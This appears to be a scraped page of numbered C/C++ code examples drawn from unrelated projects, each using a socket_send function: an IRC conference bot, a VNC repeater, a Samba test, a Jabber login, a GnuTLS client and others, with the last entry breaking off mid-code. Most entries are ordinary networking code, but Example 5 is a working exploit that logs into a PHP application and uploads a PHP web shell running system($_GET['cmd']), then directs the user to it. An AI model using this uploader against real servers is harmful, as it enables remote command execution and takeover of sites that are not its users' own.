Ejemplo n.º 1
0
/*
 * Parse events and execute the appropriate functions.
 */
int fs_parse(char *buf)
{
	struct bot_in *bot_t = pthread_getspecific(bot);
	struct socket_in *fs_t = pthread_getspecific(fs_s);
	
	vout(3, "FS", "->", buf);
	
	/* If a user is added to/deleted from a conference, announce it. */
	if(strncmp(buf+strlen(buf)-20, "Action: add-member", 18) == 0 ||
	   strncmp(buf+strlen(buf)-20, "Action: del-member", 18) == 0)
	{
		char mesg[513], *caller, *conf;
		size_t len, num = fs_caller_name_re.re_nsub+1, num2 = fs_caller_num_re.re_nsub+1;
		regmatch_t *preg = calloc(num, sizeof(*preg)), *preg2 = calloc(num2, sizeof(*preg2));
		
		if(regexec(&fs_conference_re, buf, num, preg, 0)  != 0)
			return 0;
		
		len = preg[1].rm_eo-preg[1].rm_so;
		conf = calloc(len+1, sizeof(*conf));
		strncpy(conf, buf+preg[1].rm_so, len);
		
		if(regexec(&fs_caller_num_re, buf, num2, preg2, 0) == 0)
		{
			len = preg2[2].rm_eo-preg2[2].rm_so;
			caller = calloc(len+3, sizeof(*caller));
			
			/* Setup our mask. */
			memcpy(caller, "XXX-XXX-XXXX", 12);
			
			/* Copy in our real digits. */
			memcpy(caller, buf+preg2[2].rm_so, 3);
			memcpy(caller+4, buf+preg2[2].rm_so+3, 3);
			/*
			 * We keep the suffix masked for privacy. You can decide to
			 * show the last for digits of phone numbers by uncommenting the following.
			 * memcpy(caller+8, buf+preg2[2].rm_so+6, 4);
			 */
		}
		
		else if(regexec(&fs_caller_name_re, buf, num, preg, 0) == 0)
		{
			len = preg[1].rm_eo-preg[1].rm_so;
			caller = calloc(len+1, sizeof(*caller));
			strncpy(caller, buf+preg[1].rm_so, len);
		}
		
		else
		{
			caller = calloc(8, sizeof(*caller));
			strncpy(caller, "Unknown", 8);
		}
		
		/* XXX Use MySQL to get the name of the conference and the channel to say it in. */
		
		
		if(strncmp(buf+strlen(buf)-20, "Action: add-member", 18) == 0)
			snprintf(mesg, 512, "%s has joined the %s bridge (ext. %s).", caller, conf, conf);
		else
			snprintf(mesg, 512, "%s is leaving the %s bridge (ext. %s).", caller, conf, conf);
		
		/*
		 * XXX Replace #telconinja with the actual channel the info should go to.
		 * We will be using the MySQL stuff for this.. but for now, everthing to #tn
		 */
		irc_cmd(IRC_ACTION, "#telconinja", mesg);
		
		/* Do some cleanup. */
		free(caller);
		/*free(chan); */
		free(conf);
		free(preg);
		free(preg2);
		
		return 0;
	}
	
	if(strncmp(buf, "Content-Type: api/response", 26) == 0)
	{
		switch(bot_t->fs_last_api)
		{
			case FS_CONFLIST:
				irc_cmd(IRC_PRIVMSG, "#bots", strstr(buf, "\n\n")+2);
				break;
		}
		return 0;
	}
	
	/*
	 * If we need to authenticate then do so, and also send the event request for the
	 * conference notices.
	 * XXX This probably only happens at the start of the connection and therefore
	 * should appear closer to the end of this function.
	 */
	if(strcmp(buf, "Content-Type: auth/request") == 0)
	{
		/*
		 * XXX After we get the configuration stuff done, this should be changed
		 * to use the value in the bot's configuration file.
		 */
		sprintf(buf, "auth %s\n\nevent plain CUSTOM conference::maintenance\n\n", bot_t->fs_pass);
		socket_send(fs_t, buf);
		return 0;
	}
	
	return 0;
}
Ejemplo n.º 2
0
THREAD_CALL server_listen(LPVOID lpParam)
{
	listener_thread_params *thread_params = (listener_thread_params *)lpParam;
	SOCKET conn;
	struct sockaddr_in client;
	socklen_t socklen = sizeof(client);
	rfbProtocolVersionMsg protocol_version; 
	char host_id[MAX_HOST_NAME_LEN + 1];
	char phost[MAX_HOST_NAME_LEN + 1];
	CARD32 auth_type;
	unsigned char challenge[CHALLENGESIZE];
	uint32_t code;
	char *ip_addr;

	thread_params->sock = create_listener_socket( thread_params->port );
	if (thread_params->sock == INVALID_SOCKET)
    notstopped = false;
	else
		logp(DEBUG, "Listening for incoming server connections on port %d.", thread_params->port);

	while(notstopped)
	{
		conn = socket_accept(thread_params->sock, (struct sockaddr *)&client, &socklen);
		if (conn == INVALID_SOCKET) {
			if (notstopped) logp(ERROR, "server_listen(): accept() failed, errno=%d", getLastErrNo());
		} else {
			ip_addr = inet_ntoa(client.sin_addr); /* IP Address for monitoring purposes */
			logp(INFO, "Server (socket=%d) connection accepted from %s.", conn, ip_addr);

			// First thing is first: Get the repeater ID...
			if( socket_recv(conn, host_id, MAX_HOST_NAME_LEN, "hostid from server") ) {
		    // Check and cypher the ID
		    if( ParseDisplay(host_id, phost, MAX_HOST_NAME_LEN, (int *)&code, challenge) ) {
  		    logp(DEBUG, "Server (socket=%d) sent the host ID:%d.", conn, code);

			    // Continue with the handshake until ClientInit. Read the Protocol Version.
			    if( socket_recv(conn, protocol_version, sz_rfbProtocolVersionMsg, "protocol version from server") ) {
      			// ToDo: Make sure the version is OK!
  			    logp(DEBUG, "Server (socket=%d) sent protocol version.", conn);

			      // Tell the server we are using Protocol Version 3.3
			      sprintf(protocol_version, rfbProtocolVersionFormat, rfbProtocolMajorVersion, rfbProtocolMinorVersion);
			      if( socket_send(conn, protocol_version, sz_rfbProtocolVersionMsg, "protocol version to server") ) {
  			      logp(DEBUG, "Protocol version sent to server (socket=%d).", conn);

			        // The server should send the authentication type it whises to use.
			        // ToDo: We could add a password this would restrict other servers from connecting to our repeater, 
              // in the meanwhile, assume no auth is the only scheme allowed.
			        if( socket_recv(conn, (char *)&auth_type, sizeof(auth_type), "auth type from server") ) {
  			        logp(DEBUG, "Server (socket=%d) sent authentication scheme.", conn);

			          if( Swap32IfLE(auth_type) != rfbNoAuth ) {
				          logp(ERROR, "Invalid authentication scheme sent by server (socket=%d).", conn);
				          socket_close(conn);
			          }
                else
                  add_new_slot(conn, INVALID_SOCKET, challenge, code);
			        }
			      } 
			    }
		    }
        else
			    logp(ERROR, "server_listen(): Reading Proxy settings error %s", host_id);
			}
		}
	}
	notstopped = false;
	socket_close(thread_params->sock);
	log(INFO, "Server listening thread has exited.\n");
	return 0;
}
Ejemplo n.º 3
0
/*
  basic testing of tcp routines
*/
static bool test_tcp(struct torture_context *tctx)
{
	struct socket_context *sock1, *sock2, *sock3;
	NTSTATUS status;
	struct socket_address *srv_addr, *from_addr, *localhost;
	size_t size = 100 + (random() % 100);
	DATA_BLOB blob, blob2;
	size_t sent, nread;
	TALLOC_CTX *mem_ctx = tctx;
	struct tevent_context *ev = tctx->ev;
	struct interface *ifaces;

	status = socket_create("ip", SOCKET_TYPE_STREAM, &sock1, 0);
	torture_assert_ntstatus_ok(tctx, status, "creating IP stream socket 1");
	talloc_steal(mem_ctx, sock1);

	status = socket_create("ip", SOCKET_TYPE_STREAM, &sock2, 0);
	torture_assert_ntstatus_ok(tctx, status, "creating IP stream socket 1");
	talloc_steal(mem_ctx, sock2);

	load_interfaces(tctx, lp_interfaces(tctx->lp_ctx), &ifaces);
	localhost = socket_address_from_strings(sock1, sock1->backend_name, 
						iface_best_ip(ifaces, "127.0.0.1"), 0);
	torture_assert(tctx, localhost, "Localhost not found");

	status = socket_listen(sock1, localhost, 0, 0);
	torture_assert_ntstatus_ok(tctx, status, "listen on socket 1");

	srv_addr = socket_get_my_addr(sock1, mem_ctx);
	torture_assert(tctx, srv_addr && srv_addr->addr, 
				   "Unexpected socket_get_my_addr NULL\n");

	torture_assert_str_equal(tctx, srv_addr->addr, iface_best_ip(ifaces, "127.0.0.1"), 
			"Unexpected server address");

	torture_comment(tctx, "server port is %d\n", srv_addr->port);

	status = socket_connect_ev(sock2, NULL, srv_addr, 0, ev);
	torture_assert_ntstatus_ok(tctx, status, "connect() on socket 2");

	status = socket_accept(sock1, &sock3);
	torture_assert_ntstatus_ok(tctx, status, "accept() on socket 1");
	talloc_steal(mem_ctx, sock3);
	talloc_free(sock1);

	blob  = data_blob_talloc(mem_ctx, NULL, size);
	blob2 = data_blob_talloc(mem_ctx, NULL, size);
	generate_random_buffer(blob.data, blob.length);

	sent = size;
	status = socket_send(sock2, &blob, &sent);
	torture_assert_ntstatus_ok(tctx, status, "send() on socket 2");

	status = socket_recv(sock3, blob2.data, size, &nread);
	torture_assert_ntstatus_ok(tctx, status, "recv() on socket 3");

	from_addr = socket_get_peer_addr(sock3, mem_ctx);

	torture_assert(tctx, from_addr && from_addr->addr, 
		"Unexpected recvfrom addr NULL");

	torture_assert_str_equal(tctx, from_addr->addr, srv_addr->addr, 
							 "Unexpected recvfrom addr");

	torture_assert_int_equal(tctx, nread, size, "Unexpected recvfrom size");

	torture_assert_mem_equal(tctx, blob2.data, blob.data, size, 
				   "Bad data in recv");
	return true;
}
Ejemplo n.º 4
0
/**
	@brief Connect to the Jabber server as a client and open a Jabber session.
	@param session Pointer to a transport_session.
	@param username Jabber user name.
	@param password Jabber password.
	@param resource name of Jabber resource.
	@param connect_timeout Timeout interval, in seconds, for receiving data (see notes).
	@param auth_type An enum: either AUTH_PLAIN or AUTH_DIGEST (see notes).
	@return 1 if successful, or 0 upon error.

	If @a connect_timeout is -1, wait indefinitely for the Jabber server to respond.  If
	@a connect_timeout is zero, don't wait at all.  If @a timeout is positive, wait that
	number of seconds before timing out.  If @a connect_timeout has a negative value other
	than -1, the results are not well defined.

	The value of @a connect_timeout applies to each of two stages in the logon procedure.
	Hence the logon may take up to twice the amount of time indicated.

	If we connect as a Jabber component, we send the password as an SHA1 hash.  Otherwise
	we look at the @a auth_type.  If it's AUTH_PLAIN, we send the password as plaintext; if
	it's AUTH_DIGEST, we send it as a hash.

	At this writing, we only use AUTH_DIGEST.
*/
int session_connect( transport_session* session,
		const char* username, const char* password,
		const char* resource, int connect_timeout, enum TRANSPORT_AUTH_TYPE auth_type ) {

	// Sanity checks
	if( ! session ) {
		osrfLogWarning(OSRF_LOG_MARK, "session is null in session_connect()" );
		return 0;
	}

	if( session->sock_id != 0 ) {
		osrfLogWarning(OSRF_LOG_MARK, "transport session is already open, on socket %d",
			session->sock_id );
		return 0;
	}

	// Open a client socket connecting to the Jabber server
	if(session->port > 0) {   // use TCP
		session->sock_id = socket_open_tcp_client(
				session->sock_mgr, session->port, session->server );
		if( session->sock_id <= 0 ) {
			session->sock_id = 0;
			return 0;
		}
	} else if(session->unix_path != NULL) {  // use UNIX domain
		session->sock_id = socket_open_unix_client( session->sock_mgr, session->unix_path );
		if( session->sock_id <= 0 ) {
			session->sock_id = 0;
			return 0;
		}
	}
	else {
		osrfLogWarning( OSRF_LOG_MARK, "Can't open session: no port or unix path" );
		return 0;
	}

	const char* server = session->server;
	int size1 = 0;
	int size2 = 0;

	/*
	We establish the session in two stages.

	First we establish an XMPP stream with the Jabber server by sending an opening tag of
	stream:stream.  This is not a complete XML document.  We don't send the corresponding
	closing tag until we close the session.

	If the Jabber server responds by sending an opening stream:stream tag of its own, we can
	proceed to the second stage by sending a second stanza to log in.  This stanza is an XML
	element with the tag <handshake> (if we're a Jabber component) or <iq> (if we're not),
	enclosing the username, password, and resource.

	If all goes well, the Jabber server responds with a <handshake> or <iq> stanza of its own,
	and we're logged in.

	If authentication fails, the Jabber server returns a <stream:error> (if we used a <handshake>
	or an <iq> of type "error" (if we used an <iq>).
	*/
	if( session->component ) {

		/* the first Jabber connect stanza */
		char our_hostname[HOST_NAME_MAX + 1] = "";
		gethostname(our_hostname, sizeof(our_hostname) );
		our_hostname[HOST_NAME_MAX] = '\0';
		size1 = 150 + strlen( username ) + strlen( our_hostname );
		char stanza1[ size1 ];
		snprintf( stanza1, sizeof(stanza1),
				"<stream:stream version='1.0' xmlns:stream='http://etherx.jabber.org/streams' "
				"xmlns='jabber:component:accept' to='%s' from='%s' xml:lang='en'>",
				username, our_hostname );

		/* send the first stanze */
		session->state_machine->connecting = CONNECTING_1;

		if( socket_send( session->sock_id, stanza1 ) ) {
			osrfLogWarning(OSRF_LOG_MARK, "error sending");
			socket_disconnect( session->sock_mgr, session->sock_id );
			session->sock_id = 0;
			return 0;
		}

		/* wait for reply */
		socket_wait(session->sock_mgr, connect_timeout, session->sock_id);

		/* server acknowledges our existence, now see if we can login */
		if( session->state_machine->connecting == CONNECTING_2 ) {

			int ss = buffer_length( session->session_id ) + strlen( password ) + 5;
			char hashstuff[ss];
			snprintf( hashstuff, sizeof(hashstuff), "%s%s",
					OSRF_BUFFER_C_STR( session->session_id ), password );

			char* hash = shahash( hashstuff );
			size2 = 100 + strlen( hash );
			char stanza2[ size2 ];
			snprintf( stanza2, sizeof(stanza2), "<handshake>%s</handshake>", hash );

			if( socket_send( session->sock_id, stanza2 )  ) {
				osrfLogWarning(OSRF_LOG_MARK, "error sending");
				socket_disconnect( session->sock_mgr, session->sock_id );
				session->sock_id = 0;
				return 0;
			}
		}

	} else { /* we're not a component */

		/* the first Jabber connect stanza */
		size1 = 100 + strlen( server );
		char stanza1[ size1 ];
		snprintf( stanza1, sizeof(stanza1),
				"<stream:stream to='%s' xmlns='jabber:client' "
				"xmlns:stream='http://etherx.jabber.org/streams'>",
			server );

		/* send the first stanze */
		session->state_machine->connecting = CONNECTING_1;
		if( socket_send( session->sock_id, stanza1 ) ) {
			osrfLogWarning(OSRF_LOG_MARK, "error sending");
			socket_disconnect( session->sock_mgr, session->sock_id );
			session->sock_id = 0;
			return 0;
		}


		/* wait for reply */
		socket_wait( session->sock_mgr, connect_timeout, session->sock_id ); /* make the timeout smarter XXX */

		if( auth_type == AUTH_PLAIN ) {

			/* the second jabber connect stanza including login info*/
			size2 = 150 + strlen( username ) + strlen( password ) + strlen( resource );
			char stanza2[ size2 ];
			snprintf( stanza2, sizeof(stanza2),
					"<iq id='123456789' type='set'><query xmlns='jabber:iq:auth'>"
					"<username>%s</username><password>%s</password><resource>%s</resource></query></iq>",
					username, password, resource );

			/* server acknowledges our existence, now see if we can login */
			if( session->state_machine->connecting == CONNECTING_2 ) {
				if( socket_send( session->sock_id, stanza2 )  ) {
					osrfLogWarning(OSRF_LOG_MARK, "error sending");
					socket_disconnect( session->sock_mgr, session->sock_id );
					session->sock_id = 0;
					return 0;
				}
			}

		} else if( auth_type == AUTH_DIGEST ) {

			int ss = buffer_length( session->session_id ) + strlen( password ) + 5;
			char hashstuff[ss];
			snprintf( hashstuff, sizeof(hashstuff), "%s%s", OSRF_BUFFER_C_STR( session->session_id ), password );

			char* hash = shahash( hashstuff );

			/* the second jabber connect stanza including login info */
			size2 = 150 + strlen( username ) + strlen( hash ) + strlen(resource);
			char stanza2[ size2 ];
			snprintf( stanza2, sizeof(stanza2),
					"<iq id='123456789' type='set'><query xmlns='jabber:iq:auth'>"
					"<username>%s</username><digest>%s</digest><resource>%s</resource></query></iq>",
					username, hash, resource );

			/* server acknowledges our existence, now see if we can login */
			if( session->state_machine->connecting == CONNECTING_2 ) {
				if( socket_send( session->sock_id, stanza2 )  ) {
					osrfLogWarning(OSRF_LOG_MARK, "error sending");
					socket_disconnect( session->sock_mgr, session->sock_id );
					session->sock_id = 0;
					return 0;
				}
			}

		} else {
			osrfLogWarning(OSRF_LOG_MARK, "Invalid auth_type parameter: %d",
					(int) auth_type );
			socket_disconnect( session->sock_mgr, session->sock_id );
			session->sock_id = 0;
			return 0;
		}

	} // not component


	/* wait for reply to login request */
	socket_wait( session->sock_mgr, connect_timeout, session->sock_id );

	if( session->state_machine->connected ) {
		/* yar! */
		return 1;
	} else {
		socket_disconnect( session->sock_mgr, session->sock_id );
		session->sock_id = 0;
		return 0;
	}
}
Ejemplo n.º 5
0
int main(int argc, char *argv[]) {
	
	int sd;
	char code[] = "--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"doc\"; filename=\"shell.php\"\r\n"
					"Content-Type: text/plain\r\n"
					"\r\n"
					"<?php echo \"<pre>\"; system($_GET['cmd']); echo \"</pre>\"?>\r\n"
					"--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"desc\"\r\n"
					"\r\n"
					"description\r\n"
					"--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"submitadd\"\r\n"
					"\r\n"
					"Submit\r\n"
					"--AaB03x--\r\n",
		*buffer = NULL,
		*rec = NULL,
		*session = NULL;
		
	if(argc < 5) {
		usage(argv[0]);
		return -1;
	}
	
	if(!(buffer = (char *)calloc(200+strlen(code)+strlen(argv[1])+strlen(argv[2])+strlen(argv[3])+strlen(argv[4]), sizeof(char)))) {
		perror("calloc");
		return -1;
	}
	
	sprintf(buffer, "POST %sindex.php HTTP/1.1\r\n"
					"Host: %s\r\n"
					"Content-Type: application/x-www-form-urlencoded\r\n"
					"Content-Length: %d\r\n\r\nuser=%s&pass=%s&submit=Login", argv[2], argv[1], (strlen(argv[4])+strlen(argv[3])+24), argv[3], argv[4]);
	
					
	printf("\n[*] Connecting...");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
	
	printf("\n[+] Connected"
			"\n[*] Send login...");
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, "Login Successful")) {
		printf("\n[-] Login Incorrect!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	session = strstr(rec, "PHPSESSID");
	session = strtok(session, ";");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
	
	printf("\n[+] Login Successful"
			"\n[+] Uploading...");
	
	sprintf(buffer, "POST %sdocuments.php HTTP/1.1\r\n"
					"Host: %s\r\n"
					"Cookie: %s\r\n"
					"Content-type: multipart/form-data, boundary=AaB03x\r\n"
					"Content-Length: %d\r\n\r\n%s", argv[2], argv[1], session, strlen(code), code);
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, "Uploaded Successfully")) {
		printf("\n[-] Upload failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	free(buffer);
	close(sd);
	
	printf("\n[+] Shell uploaded"
			"\n[+] Connection closed\n\n"
			"Open your browser and go to http://%s%sgallery/documents/shell.php?cmd=[commands]\n\n", argv[1], argv[2]);
	
	return 0;
	
}
void update_m2ip(void)
{
    NET_SOCK_ID  sock;
    CPU_SIZE_T   len, rxlen, IPLEN = 23; // 23 => 3*6+5 => "nnn,nnn,nnn,nnn,nnn,nnn"
    CPU_CHAR    *p;
    CPU_CHAR     rx[RX_SIZE], ip[23];

    sock = socket_open();

    if (-1 == sock)
    {
        return;
    }

    if (
        18 != socket_send(sock, "GET /ip HTTP/1.1\r\n", 18) ||
        22 != socket_send(sock, "Host: m2.exosite.com\r\n", 22) ||
        35 != socket_send(sock, "Accept: text/plain; charset=utf-8\r\n", 35) ||
        2  != socket_send(sock, "\r\n", 2)
    )
    {
        socket_close(sock);
        return;
    }

    // @HTTP/x.x NNN@
    rxlen = socket_recv(sock, rx, 12);

    if (12 == rxlen && '2' == rx[9] && '0' == rx[10] && '0' == rx[11])
    {
        CPU_CHAR crlf = 0;
        CPU_CHAR iplen = 0;

        do
        {
            rxlen = socket_recv(sock, rx, RX_SIZE);
            len = rxlen;
            p = rx;

            // Find 4 consecutive \r or \n - should be: \r\n\r\n
            while (0 < len && 4 > crlf)
            {
                if ('\r' == *p || '\n' == *p)
                {
                    ++crlf;
                }
                else
                {
                    crlf = 0;
                }
                ++p;
                --len;
            }

            // The body is "nnn,nnn,nnn,nnn,nnn,nnn"
            if (0 < len && 4 == crlf && IPLEN > iplen)
            {
                // TODO, be more robust - match Content-Length header value to IPLEN
                CPU_CHAR need, part;
                need = IPLEN - iplen;
                part = need < len ? need : len;
                Str_Copy_N(ip + iplen, p, part);
                iplen += part;
            }
        } while (RX_SIZE == rxlen);

        if (0 < iplen && IPLEN >= iplen)
        {
            CPU_CHAR server_ip[6];
            CPU_CHAR i;

            p = ip;

            for (i = 0; i < 6 || iplen > 0; i++)
            {
                if (*p >= '0' && *p <= '9')
                {
                    server_ip[i] = *p++ - '0';
                    if (0 == --iplen) break;
                }
                if (*p >= '0' && *p <= '9')
                {
                    server_ip[i] *= 10;
                    server_ip[i] += *p++ - '0';
                    if (0 == --iplen) break;
                }
                if (*p >= '0' && *p <= '9')
                {
                    server_ip[i] *= 10;
                    server_ip[i] += *p++ - '0';
                    --iplen;
                }
                if (iplen > 0)
                {
                    if (5 == i || ',' != *p++)
                    {
                        break;
                    }
                    --iplen;
                }
            }

            if (6 == i)
            {
                rdk_meta *meta_info = (rdk_meta *)RDK_META_LOCATION;

                if (0 != Str_Cmp_N((CPU_CHAR*)meta_info->server, server_ip, 6))
                {
                    rdk_meta_write((unsigned char *)server_ip, 6, (unsigned char *)meta_info->server);

                    // Convert stored copy to something usable
                    IP   =  server_ip[0] * 16777216
                          + server_ip[1] * 65536
                          + server_ip[2] * 256
                          + server_ip[3] * 1;
                    PORT =  server_ip[4] * 256
                          + server_ip[5] * 1;
                }
            }
        }
    }

    socket_close(sock);
    return;
}
Ejemplo n.º 7
0
static int socket_write(FdMigrationState *s, const void * buf, size_t size)
{
    return socket_send(s->fd, buf, size);
}
Ejemplo n.º 8
0
 virtual uint32_t write(uint8_t byte) {
     if (!initSocket())
         return 0;
     return socket_send(socket, &byte, 1);
 }
Ejemplo n.º 9
0
int
main (int argc, char **argv)
{
  int err, ret;
  int ii, i;
  char buffer[MAX_BUF + 1];
  char *session_data = NULL;
  char *session_id = NULL;
  size_t session_data_size;
  size_t session_id_size;
  fd_set rset;
  int maxfd;
  struct timeval tv;
  int user_term = 0;
  socket_st hd;

  gaa_parser (argc, argv);
  if (hostname == NULL)
    {
      fprintf (stderr, "No hostname given\n");
      exit (1);
    }

  sockets_init ();

#ifndef _WIN32
  signal (SIGPIPE, SIG_IGN);
#endif

  init_global_tls_stuff ();

  socket_open( &hd, hostname, service);
  socket_connect( &hd);

  hd.session = init_tls_session (hostname);
  if (starttls)
    goto after_handshake;

  for (i = 0; i < 2; i++)
    {


      if (i == 1)
	{
	  hd.session = init_tls_session (hostname);
	  gnutls_session_set_data (hd.session, session_data,
				   session_data_size);
	  free (session_data);
	}

      ret = do_handshake (&hd);

      if (ret < 0)
	{
	  fprintf (stderr, "*** Handshake has failed\n");
	  gnutls_perror (ret);
	  gnutls_deinit (hd.session);
	  return 1;
	}
      else
	{
	  printf ("- Handshake was completed\n");
	  if (gnutls_session_is_resumed (hd.session) != 0)
	    printf ("*** This is a resumed session\n");
	}



      if (resume != 0 && i == 0)
	{

	  gnutls_session_get_data (hd.session, NULL, &session_data_size);
	  session_data = malloc (session_data_size);

	  gnutls_session_get_data (hd.session, session_data,
				   &session_data_size);

	  gnutls_session_get_id (hd.session, NULL, &session_id_size);
	  session_id = malloc (session_id_size);
	  gnutls_session_get_id (hd.session, session_id, &session_id_size);

	  /* print some information */
	  print_info (hd.session, hostname);

	  printf ("- Disconnecting\n");
	  socket_bye (&hd);

	  printf
	    ("\n\n- Connecting again- trying to resume previous session\n");
          socket_open( &hd, hostname, service);
          socket_connect(&hd);
	}
      else
	{
	  break;
	}
    }

after_handshake:

  printf ("\n- Simple Client Mode:\n\n");

#ifndef _WIN32
  signal (SIGALRM, &starttls_alarm);
#endif

  /* do not buffer */
#if !(defined _WIN32 || defined __WIN32__)
  setbuf (stdin, NULL);
#endif
  setbuf (stdout, NULL);
  setbuf (stderr, NULL);

  for (;;)
    {
      if (starttls_alarmed && !hd.secure)
	{
	  fprintf (stderr, "*** Starting TLS handshake\n");
	  ret = do_handshake (&hd);
	  if (ret < 0)
	    {
	      fprintf (stderr, "*** Handshake has failed\n");
	      socket_bye (&hd);
	      user_term = 1;
	      break;
	    }
	}

      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (hd.fd, &rset);

      maxfd = MAX (fileno (stdin), hd.fd);
      tv.tv_sec = 3;
      tv.tv_usec = 0;

      err = select (maxfd + 1, &rset, NULL, NULL, &tv);
      if (err < 0)
	continue;

      if (FD_ISSET (hd.fd, &rset))
	{
	  memset (buffer, 0, MAX_BUF + 1);
	  ret = socket_recv (&hd, buffer, MAX_BUF);

	  if (ret == 0)
	    {
	      printf ("- Peer has closed the GNUTLS connection\n");
	      break;
	    }
	  else if (handle_error (&hd, ret) < 0 && user_term == 0)
	    {
	      fprintf (stderr,
		       "*** Server has terminated the connection abnormally.\n");
	      break;
	    }
	  else if (ret > 0)
	    {
	      if (verbose != 0)
		printf ("- Received[%d]: ", ret);
	      for (ii = 0; ii < ret; ii++)
		{
		  fputc (buffer[ii], stdout);
		}
	      fflush (stdout);
	    }

	  if (user_term != 0)
	    break;
	}

      if (FD_ISSET (fileno (stdin), &rset))
	{
	  if (fgets (buffer, MAX_BUF, stdin) == NULL)
	    {
	      if (hd.secure == 0)
		{
		  fprintf (stderr, "*** Starting TLS handshake\n");
		  ret = do_handshake (&hd);
		  if (ret < 0)
		    {
		      fprintf (stderr, "*** Handshake has failed\n");
		      socket_bye (&hd);
		      user_term = 1;
		    }
		}
	      else
		{
		  user_term = 1;
		  break;
		}
	      continue;
	    }

	  if (crlf != 0)
	    {
	      char *b = strchr (buffer, '\n');
	      if (b != NULL)
		strcpy (b, "\r\n");
	    }

	  ret = socket_send (&hd, buffer, strlen (buffer));

	  if (ret > 0)
	    {
	      if (verbose != 0)
		printf ("- Sent: %d bytes\n", ret);
	    }
	  else
	    handle_error (&hd, ret);

	}
    }

  if (user_term != 0)
    socket_bye (&hd);
  else
    gnutls_deinit (hd.session);

#ifdef ENABLE_SRP
  gnutls_srp_free_client_credentials (srp_cred);
#endif
#ifdef ENABLE_PSK
  gnutls_psk_free_client_credentials (psk_cred);
#endif

  gnutls_certificate_free_credentials (xcred);

#ifdef ENABLE_ANON
  gnutls_anon_free_client_credentials (anon_cred);
#endif

  gnutls_global_deinit ();

  return 0;
}
Ejemplo n.º 10
0
 void send_ack()
 {
     packet_hdr_add(m_sock, m_packet_hdr, packet_hdr_source());
     payload_hdr_add_ack(m_payload_hdr);
     socket_send(m_sock, &m_frame[0], header_len());
 }
Ejemplo n.º 11
0
void *service_thread(void *pti)
{
	{
		Thread_info_t *pthread_info = (Thread_info_t *)pti;
		char thrname[64];
		snprintf(thrname, 64, "service_thread.%d", pthread_info->thrd_no);
		ty_log_open_r(thrname, NULL);
	}

	int sock = 0;
	int s_index;
	int rlen = 0;
	int ret = 0;
	int q = 0;
	int qlen = 0;
	char *p = NULL;

	const char *request = NULL;
	int max_read_size = 1024*1024;
	char *read_buf = (char *)malloc(max_read_size);
	if (read_buf == NULL) {
		ty_writelog(TY_LOG_FATAL, "malloc for read_buf failed");
		return NULL;
	}

	Log_info_t loginfo;

	struct timeval tvstart, tvend, tv1, tv2;
	u_int timeused;

	while (1) {
		memset(&loginfo, 0, sizeof(Log_info_t));
		loginfo.status = OK;
		pipeline_fetch_item(g_pending_handle, &s_index, &sock, (const char **)&request, &rlen);
		GetTimeCurrent(tvstart);
		DEBUG_LOG("recv %d", rlen);

		q = 0;
		qlen = 0;
		p = strstr(request, "q=");
		if (p) {
			q = atoi(p+2);
			qlen = sprintf(read_buf, "%d", q);
		}
		rlen = snprintf(read_buf, max_read_size, ""
				"HTTP/1.0 200 OK\r\n"
				"Content-Length: %d\r\n"
				"Content-Type: text/plain\r\n"
				"\r\n%d", qlen, q);
		// do some other things

send_to_UI:
		ret = socket_send(sock, read_buf, rlen);
		if (ret < 0)
			loginfo.status = UI_PUT_ERROR;
		if (errno == EPIPE) {
			loginfo.status = UI_PUT_ERROR;
		}
		GetTimeCurrent(tvend);
		SetTimeUsed(timeused, tvstart, tvend);
message_end:					

		ty_writelog(TY_LOG_NOTICE, "[status %d][t %u]", loginfo.status, timeused);
		if (loginfo.status == UI_GET_ERROR || loginfo.status == UI_PUT_ERROR) {
			pipeline_reset_item(g_pending_handle, s_index, 0);
			ty_writelog(TY_LOG_WARNING, "ui connect broken");
		} else {
			pipeline_reset_item(g_pending_handle, s_index, 1);
		}
	}
}
Ejemplo n.º 12
0
/*
 * perform the update 
 */
void global_update(void)
{
   int sock;
   char *ptr;
   char *latest;
   char getmsg[512];
   char buffer[8192];
   int len;
   char *tok;
   char host[] = "ettercap.sourceforge.net";
//   char host[] = "local.alor.org";
   char page[] = "/updateNG.php";

   DEBUG_MSG("global_update");

   memset(buffer, 0, sizeof(buffer));

   fprintf(stdout, "Connecting to http://%s\n", host);

   /* open the socket with the server */
   if ((sock = open_socket(host, 80)) < 0)
      clean_exit(-1);

   fprintf(stdout, "Requesting %s\n\n", page);

   /* prepare the HTTP request */
   snprintf(getmsg, sizeof(getmsg), "GET %s HTTP/1.0\r\n"
                                     "Host: %s\r\n"
                                     "User-Agent: %s (%s)\r\n"
                                     "\r\n", page, host, GBL_PROGRAM, GBL_VERSION );

   /* send the request to the server */
   socket_send(sock, getmsg, strlen(getmsg));

   DEBUG_MSG("global_update - SEND \n\n%s\n\n", getmsg);

   /* get the server response */
   len = socket_recv(sock, buffer, sizeof(buffer) - 1);

   if (len == 0)
      FATAL_ERROR(EC_COLOR_RED"ERROR"EC_COLOR_END" The server does not respond");
      
   DEBUG_MSG("global_update - RECEIVE \n\n%s\n\n", buffer);

   close_socket(sock);

   /* skip the HTTP headers */
   ptr = strstr(buffer, "\r\n\r\n");
   if (ptr == NULL)
      FATAL_ERROR(EC_COLOR_RED"ERROR"EC_COLOR_END" Bad response from server");
  
   ptr += 4;

   /* the first word MUST be "ettercap" */
   if (strncmp(ptr, GBL_PROGRAM, strlen(GBL_PROGRAM)))
